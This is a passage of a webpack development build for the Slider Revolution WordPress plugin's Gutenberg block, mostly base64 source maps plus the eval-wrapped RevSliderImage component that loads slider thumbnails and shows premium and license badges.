yLCBfQ29tcG9uZW50KTtcblxuICBmdW5jdGlvbiBSZXZTbGlkZXIoKSB7XG4gICAgX2NsYXNzQ2FsbENoZWNrKHRoaXMsIFJldlNsaWRlcik7XG5cbiAgICB2YXIgX3RoaXMgPSBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybih0aGlzLCAoUmV2U2xpZGVyLl9fcHJvdG9fXyB8fCBPYmplY3QuZ2V0UHJvdG90eXBlT2YoUmV2U2xpZGVyKSkuYXBwbHkodGhpcywgYXJndW1lbnRzKSk7XG5cbiAgICBfdGhpcy5vcGVuQmxvY2tTZXR0aW5ncyA9IGZ1bmN0aW9uICgpIHtcbiAgICAgIHZhciBkYXRhID0gZmFsc2U7XG4gICAgICBSVlMuU0MuQkxPQ0sgPSBfdGhpcy5zdGF0ZTtcbiAgICAgIHJldnNsaWRlcl9yZWFjdCA9IF90aGlzO1xuICAgICAgaWYgKCFfdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmFsaWFzKSByZXR1cm4gZmFsc2U7XG4gICAgICBSVlMuU0Mub3BlbkJsb2NrU2V0dGluZ3MoJ2d1dGVuYmVyZycsIF90aGlzLnByb3BzLmF0dHJpYnV0ZXMuY29udGVudCk7XG4gICAgfTtcblxuICAgIF90aGlzLm9wZW5MaWJyYXJ5ID0gZnVuY3Rpb24gKCkge1xuICAgICAgcmV2c2xpZGVyX3JlYWN0ID0gX3RoaXM7XG4gICAgICBSVlMuU0MuQkxPQ0sgPSBfdGhpcy5wcm9wcy5hdHRyaWJ1dGVzO1xuICAgICAgUlZTLlNDLm9wZW5UZW1wbGF0ZUxpYnJhcnkoJ2d1dGVuYmVyZycpO1xuICAgIH07XG5cbiAgICBfdGhpcy5vcGVuU2xpZGVyRWRpdG9yID0gZnVuY3Rpb24gKCkge1xuICAgICAgaWYgKCFfdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmFsaWFzKSByZXR1cm4gZmFsc2U7XG4gICAgICBSVlMuU0Mub3BlblNsaWRlckVkaXRvcihfdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmFsaWFzKTtcbiAgICB9O1xuXG4gICAgX3RoaXMuc2V0d3JhcHBlcmlkID0gZnVuY3Rpb24gKHZhbHVlKSB7XG4gICAgICByZXZzbGlkZXJfcmVhY3QgPSBfdGhpcztcbiAgICAgIF90aGlzLnByb3BzLnNldEF0dHJpYnV0ZXMoeyB3cmFwcGVyaWQ6IHZhbHVlIH0pO1xuICAgICAgUlZTLlNDLkJMT0NLID0gX3RoaXMuc3RhdGU7XG4gICAgICBSVlMuU0MuQkxPQ0sud3JhcHBlcmlkID0gdmFsdWU7XG4gICAgfTtcblxuICAgIF90aGlzLm9wZW5PcHRpbWl6ZXIgPSBmdW5jdGlvbiAoKSB7XG4gICAgICBpZiAoIV90aGlzLnByb3BzLmF0dHJpYnV0ZXMuYWxpYXMpIHJldHVybiBmYWxzZTtcbiAgICAgIFJWUy5TQy5vcGVuT3B0aW1pemVyKF90aGlzLnByb3BzLmF0dHJpYnV0ZXMuYWxpYXMpO1xuICAgIH07XG5cbiAgICBfdGhpcy5zZXRTbGlkZXJBdHRyaWJ1dGVzID0gZnVuY3Rpb24gKGFsaWFzKSB7XG4gICAgICBzZXRBdHRyaWJ1dGVzKHsgYWxpYXM6IGFsaWFzIH0pO1xuICAgICAgc2V0QXR0cmlidXRlcyh7IHNsaWRlckltYWdlOiBfdGhpcy5zdGF0ZS5zbGlkZXJJbWFnZSB9KTtcbiAgICB9O1xuXG4gICAgX3RoaXMuc3RhdGUgPSBqUXVlcnkuZXh0ZW5kKHRydWUsIHt9LCBfdGhpcy5wcm9wcy5hdHRyaWJ1dGVzKTtcbiAgICB3aW5kb3cucmV2c2xpZGVyX3JlYWN0ID0ge307XG4gICAgcmV0dXJuIF90aGlzO1xuICB9XG5cbiAgX2NyZWF0ZUNsYXNzKFJldlNsaWRlciwgW3tcbiAgICBrZXk6ICdjb21wb25lbnREaWRNb3VudCcsXG4gICAgdmFsdWU6IGZ1bmN0aW9uIGNvbXBvbmVudERpZE1vdW50KCkge1xuICAgICAgcmV2c2xpZGVyX3JlYWN0ID0gdGhpcztcbiAgICAgIC8vIENyZWF0ZSBCbG9jayBpbiBSVlMgd2l0aCBjdXJyZW50IHN0YXRlXG4gICAgICBSVlMuU0MuQkxPQ0sgPSB0aGlzLnN0YXRlO1xuICAgICAgLy8gT3BlbiBUZW1wbGF0ZSBMaWJyYXJ5IHdoZW4gYmxvY2sgaXMgYWRkZWQgZm9yIHRoZSBmaXJzdCB0aW1lIHRvIHRoZSBwYWdlXG4gICAgICBpZiAoIXRoaXMucHJvcHMuYXR0cmlidXRlcy5jb250ZW50ICYmICF0aGlzLnByb3BzLmF0dHJpYnV0ZXMudGV4dCkge1xuICAgICAgICAvLyBDaGVjayBpZiBpbiB3aWRnZXQgYXJlYSwgdGhlbiBkbyBub3Qgb3BlbiB0aGUgdGVtcGxhdGUgbGlicmFyeSBhdXRvbWF0aWNhbGx5XG4gICAgICAgIGlmICh3cC5kYXRhLnNlbGVjdCgnY29yZS9lZGl0b3InKSAhPSBudWxsICYmIHdwLmRhdGEuc2VsZWN0KCdjb3JlL2VkaXRvcicpLmlzRWRpdGVkUG9zdERpcnR5KCkpIFJWUy5TQy5vcGVuVGVtcGxhdGVMaWJyYXJ5KCdndXRlbmJlcmcnKTtlbHNlIHJldHVybiBmYWxzZTtcbiAgICAgIH0gZWxzZSB7XG4gICAgICAgIC8vIEZhbGxiYWNrIGZvciBzYXZlZCBibG9ja3Mgd2l0aCBubyBhbGlhcyBhdHRyaWJ1dGUgKDwgUmV2U2xpZGVyIFY2LjEuNilcbiAgICAgICAgaWYgKCF0aGlzLnByb3BzLmF0dHJpYnV0ZXMuYWxpYXMpIHtcbiAgICAgICAgICB2YXIgc2hvcnRjb2RlID0gdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmNvbnRlbnQgIT09IHVuZGVmaW5lZCA/IFJWUy5TQy5wYXJzZVNob3J0Q29kZSh0aGlzLnByb3BzLmF0dHJpYnV0ZXMuY29udGVudCkgOiBSVlMuU0MucGFyc2VTaG9ydENvZGUodGhpcy5wcm9wcy5hdHRyaWJ1dGVzLnRleHQpO1xuICAgICAgICAgIGlmIChzaG9ydGNvZGUuYXR0cmlidXRlcy5hbGlhcykge1xuICAgICAgICAgICAgdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmFsaWFzID0gc2hvcnRjb2RlLmF0dHJpYnV0ZXMuYWxpYXM7XG4gICAgICAgICAgICBSVlMuU0MuQkxPQ0suYWxpYXMgPSB0aGlzLnByb3BzLmF0dHJpYnV0ZXMuYWxpYXM7XG4gICAgICAgICAgICB0aGlzLnByb3BzLnNldEF0dHJpYnV0ZXMoeyBhbGlhczogc2hvcnRjb2RlLmF0dHJpYnV0ZXMuYWxpYXMgfSk7XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIGlmICghdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLnNsaWRlcnRpdGxlKSB7XG4gICAgICAgICAgaWYgKHRoaXMucHJvcHMuYXR0cmlidXRlcy5zbGlkZXJUaXRsZSkge1xuICAgICAgICAgICAgdGhpcy5wcm9wcy5zZXRBdHRyaWJ1dGVzKHsgc2xpZGVydGl0bGU6IHRoaXMucHJvcHMuYXR0cmlidXRlcy5zbGlkZXJUaXRsZSB9KTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG5cbiAgICAvLyBPcGVuIEJsb2NrIFNldHRpbmdzIGxpa2Ugb2Zmc2V0LCBwb3B1cCwgYWRtaW4gdGh1bWJcblxuXG4gICAgLy8gT3BlbiBUZW1wbGF0ZSBMaWJyYXJ5XG5cblxuICAgIC8vIExpbmsgdG8gU2xpZGVyIEVkaXRvciBpbiBuZXcgdGFiXG5cblxuICAgIC8vIE9wZW4gRmlsZSBPcHRpbWl6ZXIgUG9wVXBcblxuXG4gICAgLy8gVXBkYXRlIEF0dHJpYnV0ZXMgaW4gY2FzZSBTbGlkZXIgYWxpYXMgY2hhbmdlc1xuXG4gIH0sIHtcbiAgICBrZXk6ICdyZW5kZXInLFxuICAgIHZhbHVlOiBmdW5jdGlvbiByZW5kZXIoKSB7XG4gICAgICB2YXIgX3RoaXMyID0gdGhpcztcblxuICAgICAgcmV2c2xpZGVyX3JlYWN0ID0gdGhpcztcbiAgICAgIC8vIFNldCBBdHRyaWJ1dGVzIGZyb20gU3RhdGUgKHN0YXRlIHdhcyBjaGFuZ2VkIGluIFJldlNsaWRlciBKUylcbiAgICAgIHRoaXMucHJvcHMuc2V0QXR0cmlidXRlcyh0aGlzLnN0YXRlKTtcbiAgICAgIHZhciBzZXRBdHRyaWJ1dGVzID0gdGhpcy5wcm9wcy5zZXRBdHRyaWJ1dGVzO1xuXG4gICAgICAvLyBUdXJuIG9mZiBTdHlsaW5nIGluIEJsb2NrIE9wdGlvbnMgU2lkZWJhciB3aGVuIGxlYXZpbmcgYmxvY2tcblxuICAgICAge1xuICAgICAgICAhdGhpcy5wcm9wcy5pc1NlbGVjdGVkICYmIFJWUy5TQy51cGRhdGVCbG9ja1ZpZXdzKGZhbHNlKTtcbiAgICAgIH1cblxuICAgICAgaWYgKCF0aGlzLnByb3BzLmF0dHJpYnV0ZXMuc2xpZGVydGl0bGUpIHtcbiAgICAgICAgaWYgKHRoaXMucHJvcHMuYXR0cmlidXRlcy5zbGlkZXJUaXRsZSkge1xuICAgICAgICAgIHRoaXMucHJvcHMuc2V0QXR0cmlidXRlcyh7IHNsaWRlcnRpdGxlOiB0aGlzLnByb3BzLmF0dHJpYnV0ZXMuc2xpZGVyVGl0bGUgfSk7XG4gICAgICAgIH1cbiAgICAgIH1cblxuICAgICAgcmV0dXJuIFt3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAgIEluc3BlY3RvckNvbnRyb2xzLFxuICAgICAgICBudWxsLFxuICAgICAgICB0aGlzLnByb3BzLmF0dHJpYnV0ZXMuYWxpYXMgJiYgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICAgICdkaXYnLFxuICAgICAgICAgIHsgY2xhc3NOYW1lOiAncnNfb3B0aW1pemVyX2J1dHRvbl93cmFwcGVyJywgb25DbGljazogdGhpcy5vcGVuT3B0aW1pemVyIH0sXG4gICAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICAgICAgQnV0dG9uLFxuICAgICAgICAgICAge1xuICAgICAgICAgICAgICBpc0RlZmF1bHQ6IHRydWUsXG4gICAgICAgICAgICAgIGNsYXNzTmFtZTogJ3JzX29wdGltaXplcl9idXR0b24nXG4gICAgICAgICAgICB9LFxuICAgICAgICAgICAgJ2ZsYXNoX29uJ1xuICAgICAgICAgICksXG4gICAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICAgICAgJ3NwYW4nLFxuICAgICAgICAgICAgbnVsbCxcbiAgICAgICAgICAgICdPcHRpbWl6ZSBGaWxlIFNpemVzJ1xuICAgICAgICAgIClcbiAgICAgICAgKVxuICAgICAgKSwgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICBJbnNwZWN0b3JBZHZhbmNlZENvbnRyb2xzLFxuICAgICAgICBudWxsLFxuICAgICAgICB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoVGV4dENvbnRyb2wsIHtcbiAgICAgICAgICBsYWJlbDogJ01vZHVsZSBXcmFwcGVyIElEcycsXG4gICAgICAgICAgdmFsdWU6IHRoaXMucHJvcHMuYXR0cmlidXRlcy53cmFwcGVyaWQsXG4gICAgICAgICAgb25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG4gICAgICAgICAgICByZXR1cm4gX3RoaXMyLnNldHdyYXBwZXJpZCh2YWx1ZSk7XG4gICAgICAgICAgfSxcbiAgICAgICAgICBoZWxwOiAnRW50ZXIgYSB3b3JkIG9yIHR3byBcXHUyMDE0IHdpdGhvdXQgc3BhY2VzIG9yIHNwZWNpYWwgY2hhcmFjdGVycyBcXHUyMDE0IHRvIG1ha2UgYSB1bmlxdWUgd2ViIGFkZHJlc3MganVzdCBmb3IgdGhpcyBtb2R1bGUuJ1xuICAgICAgICB9KVxuICAgICAgKSwsIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcbiAgICAgICAgJ2RpdicsXG4gICAgICAgIHsgY2xhc3NOYW1lOiAncmV2c2xpZGVyX2Jsb2NrJywgJ2RhdGEtbW9kYWwnOiB0aGlzLnByb3BzLmF0dHJpYnV0ZXMubW9kYWwgfSxcbiAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICAgICdkaXYnLFxuICAgICAgICAgIHsgJ2NsYXNzJzogJ3NsaWRlckJhcicgfSxcbiAgICAgICAgICB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAgICAgICAnc3BhbicsXG4gICAgICAgICAgICBudWxsLFxuICAgICAgICAgICAgdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLnNsaWRlcnRpdGxlLFxuICAgICAgICAgICAgJ1xceEEwJ1xuICAgICAgICAgICksXG4gICAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFRleHRDb250cm9sLCB7XG4gICAgICAgICAgICBjbGFzc05hbWU6ICdzbGlkZXJfc2x1ZycsXG4gICAgICAgICAgICB2YWx1ZTogdGhpcy5wcm9wcy5hdHRyaWJ1dGVzLmNvbnRlbnQsXG4gICAgICAgICAgICBvbkNoYW5nZTogZnVuY3Rpb24gb25DaGFuZ2UoY29udGVudCkge1xuICAgICAgICAgICAgICByZXR1cm4gc2V0U2xpZGVyQXR0cmlidXRlcyhfdGhpczIucHJvcHMuYXR0cmlidXRlcy5jb250ZW50KTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9KSxcbiAgICAgICAgICB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAgICAgICBUb29sdGlwLFxuICAgICAgICAgICAgeyB0ZXh0OiAnT3BlbiBCbG9jayBTZXR0aW5ncycgfSxcbiAgICAgICAgICAgIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcbiAgICAgICAgICAgICAgQnV0dG9uLFxuICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgaXNEZWZhdWx0OiB0cnVlLFxuICAgICAgICAgICAgICAgIG9uQ2xpY2s6IHRoaXMub3BlbkJsb2NrU2V0dGluZ3MsXG4gICAgICAgICAgICAgICAgY2xhc3NOYW1lOiAnc2xpZGVyX2VkaXRvcl9idXR0b24nXG4gICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICd0dW5lJ1xuICAgICAgICAgICAgKVxuICAgICAgICAgICksXG4gICAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuICAgICAgICAgICAgVG9vbHRpcCxcbiAgICAgICAgICAgIHsgdGV4dDogJ09wZW4gU2xpZGVyIEVkaXRvcicgfSxcbiAgICAgICAgICAgIHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcbiAgICAgICAgICAgICAgQnV0dG9uLFxuICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgaXNEZWZhdWx0OiB0cnVlLFxuICAgICAgICAgICAgICAgIG9uQ2xpY2s6IHRoaXMub3BlblNsaWRlckVkaXRvcixcbiAgICAgICAgICAgICAgICBjbGFzc05hbWU6ICdzbGlkZXJfZWRpdG9yX2J1dHRvbidcbiAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgJ2VkaXQnXG4gICAgICAgICAgICApXG4gICAgICAgICAgKSxcbiAgICAgICAgICB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG4gICAgICAgICAgICBCdXR0b24sXG4gICAgICAgICAgICB7XG4gICAgICAgICAgICAgIGlzRGVmYXVsdDogdHJ1ZSxcbiAgICAgICAgICAgICAgb25DbGljazogdGhpcy5vcGVuTGlicmFyeSxcbiAgICAgICAgICAgICAgY2xhc3NOYW1lOiAnc2xpZGVyX2VkaXRfYnV0dG9uJ1xuICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICdTZWxlY3QgTW9kdWxlJ1xuICAgICAgICAgIClcbiAgICAgICAgKSxcbiAgICAgICAgd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFJldlNsaWRlckltYWdlLCBPYmplY3QuYXNzaWduKHsgc2V0QXR0cmlidXRlczogc2V0QXR0cmlidXRlcyB9LCB0aGlzLnByb3BzKSlcbiAgICAgICldO1xuICAgIH1cbiAgfV0pO1xuXG4gIHJldHVybiBSZXZTbGlkZXI7XG59KENvbXBvbmVudCk7XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9zcmMvcmV2c2xpZGVyL3JldnNsaWRlci5qc1xuLy8gbW9kdWxlIGlkID0gNVxuLy8gbW9kdWxlIGNodW5rcyA9IDAiXSwibWFwcGluZ3MiOiJBQUFBO0FBQUE7QUFBQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSIsInNvdXJjZVJvb3QiOiIifQ==\n//# sourceURL=webpack-internal:///5\n"); /***/ }), /* 6 */ /*!*****************************************!*\ !*** ./src/revslider/revSliderImage.js ***! \*****************************************/ /*! exports provided: RevSliderImage */ /*! exports used: RevSliderImage */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; eval("/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"a\", function() { return RevSliderImage; });\nvar _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\n/**\n * RevSlider Editor Element\n */\n\n/**\n * Internal block libraries\n*/\nvar Component = wp.element.Component;\n\n/**\n * Component RevSlider for usage in block\n*/\n\nvar RevSliderImage = function (_Component) {\n _inherits(RevSliderImage, _Component);\n\n function RevSliderImage() {\n _classCallCheck(this, RevSliderImage);\n\n var _this = _possibleConstructorReturn(this, (RevSliderImage.__proto__ || Object.getPrototypeOf(RevSliderImage)).apply(this, arguments));\n\n _this.state = {\n response: undefined,\n alias: _this.props.attributes.alias,\n slidertitle: _this.props.attributes.slidertitle\n };\n\n return _this;\n }\n\n // Load Slider Image before it is mounted\n\n\n _createClass(RevSliderImage, [{\n key: 'componentWillMount',\n value: function componentWillMount() {\n this.loadSliderImage();\n }\n\n // Load Slider Image when it is mounted\n\n }, {\n key: 'componentDidMount',\n value: function componentDidMount() {}\n //this.loadSliderImage();\n\n\n // When new Props are send to the Block it will reload the image when the alias has changed\n\n }, {\n key: 'componentWillReceiveProps',\n value: function componentWillReceiveProps() {\n if (this.state.alias != this.props.attributes.alias) this.loadSliderImage();\n }\n\n // Loads the Slider Admin Thumb via Ajax Call\n\n }, {\n key: 'loadSliderImage',\n value: function loadSliderImage() {\n this.setState({ response: undefined });\n this.setState({ alias: this.props.attributes.alias });\n var self = this;\n if (!this.props.attributes.alias) {\n if (this.props.attributes.content !== undefined || this.props.attributes.text !== undefined) {\n var shortcode = this.props.attributes.content !== undefined ? RVS.SC.parseShortCode(this.props.attributes.content) : RVS.SC.parseShortCode(this.props.attributes.text);\n if (shortcode.attributes.alias) {\n this.props.attributes.alias = shortcode.attributes.alias;\n }\n }\n }\n if (this.props.attributes.alias) {\n RVS.F.ajaxRequest('getSliderImage', { alias: this.props.attributes.alias }, function (response) {\n if (response.success) {\n if (response !== undefined && response.image !== undefined) {\n self.setState({\n response: response\n });\n }\n RVS.F.showWaitAMinute({ fadeIn: 0, text: RVS_LANG.loadingcontent });\n }\n });\n }\n }\n\n // Renders the different states of the image (loading, loaded and no image)\n\n }, {\n key: 'render',\n value: function render() {\n var premium = void 0;\n if (this.state.response && this.state.response.premium !== \"\") {\n premium = this.state.response.premium ? ' tp_premium' : '';\n } else {\n premium = '';\n }\n\n var badge = RVS.ENV.activated ? wp.element.createElement(\n 'div',\n { 'class': 'rs_lib_premium_wrap' },\n wp.element.createElement(\n 'div',\n { 'class': 'rs_lib_premium_lila' },\n 'PREMIUM TEMPLATE'\n )\n ) : wp.element.createElement(\n 'div',\n { 'class': 'rs_lib_premium_wrap' },\n wp.element.createElement(\n 'div',\n { 'class': 'rs_lib_premium_red' },\n wp.element.createElement(\n 'i',\n { 'class': 'material-icons' },\n 'visibility_off'\n ),\n 'REGISTER LICENSE TO UNLOCK'\n )\n );\n if (premium == '') badge = '';\n\n //Image Loaded\n if (this.state.response && this.state.response.image !== \"\") {\n return [wp.element.createElement(\n 'div',\n { className: \"sliderImage\" + premium },\n badge,\n wp.element.createElement('div', { style: { backgroundImage: 'url(' + this.state.response.image + ')' } })\n )];\n } else {\n //Image Loading\n if (!this.state.response) return [wp.element.createElement('div', { className: \"sliderImageLoading\" + premium })];\n //No Image\n else {\n return [wp.element.createElement(\n 'div',\n { className: \"noSliderImage\" + premium },\n badge\n )];\n }\n }\n }\n }]);\n\n return RevSliderImage;\n}(Component);//# sourceURL=[module]\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiNi5qcyIsInNvdXJjZXMiOlsid2VicGFjazovLy8uL3NyYy9yZXZzbGlkZXIvcmV2U2xpZGVySW1hZ2UuanM/MzE0NSJdLCJzb3VyY2VzQ29udGVudCI6WyJ2YXIgX2NyZWF0ZUNsYXNzID0gZnVuY3Rpb24gKCkgeyBmdW5jdGlvbiBkZWZpbmVQcm9wZXJ0aWVzKHRhcmdldCwgcHJvcHMpIHsgZm9yICh2YXIgaSA9IDA7IGkgPCBwcm9wcy5sZW5ndGg7IGkrKykgeyB2YXIgZGVzY3JpcHRvciA9IHByb3BzW2ldOyBkZXNjcmlwdG9yLmVudW1lcmFibGUgPSBkZXNjcmlwdG9yLmVudW1lcmFibGUgfHwgZmFsc2U7IGRlc2NyaXB0b3IuY29uZmlndXJhYmxlID0gdHJ1ZTsgaWYgKFwidmFsdWVcIiBpbiBkZXNjcmlwdG9yKSBkZXNjcmlwdG9yLndyaXRhYmxlID0gdHJ1ZTsgT2JqZWN0LmRlZmluZVByb3BlcnR5KHRhcmdldCwgZGVzY3JpcHRvci5rZXksIGRlc2NyaXB0b3IpOyB9IH0gcmV0dXJuIGZ1bmN0aW9uIChDb25zdHJ1Y3RvciwgcHJvdG9Qcm9wcywgc3RhdGljUHJvcHMpIHsgaWYgKHByb3RvUHJvcHMpIGRlZmluZVByb3BlcnRpZXMoQ29uc3RydWN0b3IucHJvdG90eXBlLCBwcm90b1Byb3BzKTsgaWYgKHN0YXRpY1Byb3BzKSBkZWZpbmVQcm9wZXJ0aWVzKENvbnN0cnVjdG9yLCBzdGF0aWNQcm9wcyk7IHJldHVybiBDb25zdHJ1Y3RvcjsgfTsgfSgpO1xuXG5mdW5jdGlvbiBfY2xhc3NDYWxsQ2hlY2soaW5zdGFuY2UsIENvbnN0cnVjdG9yKSB7IGlmICghKGluc3RhbmNlIGluc3RhbmNlb2YgQ29uc3RydWN0b3IpKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb25cIik7IH0gfVxuXG5mdW5jdGlvbiBfcG9zc2libGVDb25zdHJ1Y3RvclJldHVybihzZWxmLCBjYWxsKSB7IGlmICghc2VsZikgeyB0aHJvdyBuZXcgUmVmZXJlbmNlRXJyb3IoXCJ0aGlzIGhhc24ndCBiZWVuIGluaXRpYWxpc2VkIC0gc3VwZXIoKSBoYXNuJ3QgYmVlbiBjYWxsZWRcIik7IH0gcmV0dXJuIGNhbGwgJiYgKHR5cGVvZiBjYWxsID09PSBcIm9iamVjdFwiIHx8IHR5cGVvZiBjYWxsID09PSBcImZ1bmN0aW9uXCIpID8gY2FsbCA6IHNlbGY7IH1cblxuZnVuY3Rpb24gX2luaGVyaXRzKHN1YkNsYXNzLCBzdXBlckNsYXNzKSB7IGlmICh0eXBlb2Ygc3VwZXJDbGFzcyAhPT0gXCJmdW5jdGlvblwiICYmIHN1cGVyQ2xhc3MgIT09IG51bGwpIHsgdGhyb3cgbmV3IFR5cGVFcnJvcihcIlN1cGVyIGV4cHJlc3Npb24gbXVzdCBlaXRoZXIgYmUgbnVsbCBvciBhIGZ1bmN0aW9uLCBub3QgXCIgKyB0eXBlb2Ygc3VwZXJDbGFzcyk7IH0gc3ViQ2xhc3MucHJvdG90eXBlID0gT2JqZWN0LmNyZWF0ZShzdXBlckNsYXNzICYmIHN1cGVyQ2xhc3MucHJvdG90eXBlLCB7IGNvbnN0cnVjdG9yOiB7IHZhbHVlOiBzdWJDbGFzcywgZW51bWVyYWJsZTogZmFsc2UsIHdyaXRhYmxlOiB0cnVlLCBjb25maWd1cmFibGU6IHRydWUgfSB9KTsgaWYgKHN1cGVyQ2xhc3MpIE9iamVjdC5zZXRQcm90b3R5cGVPZiA/IE9iamVjdC5zZXRQcm90b3R5cGVPZihzdWJDbGFzcywgc3VwZXJDbGFzcykgOiBzdWJDbGFzcy5fX3Byb3RvX18gPSBzdXBlckNsYXNzOyB9XG5cbi8qKlxuICogUmV2U2xpZGVyIEVkaXRvciBFbGVtZW50XG4gKi9cblxuLyoqXG4gKiBJbnRlcm5hbCBibG9jayBsaWJyYXJpZXNcbiovXG52YXIgQ29tc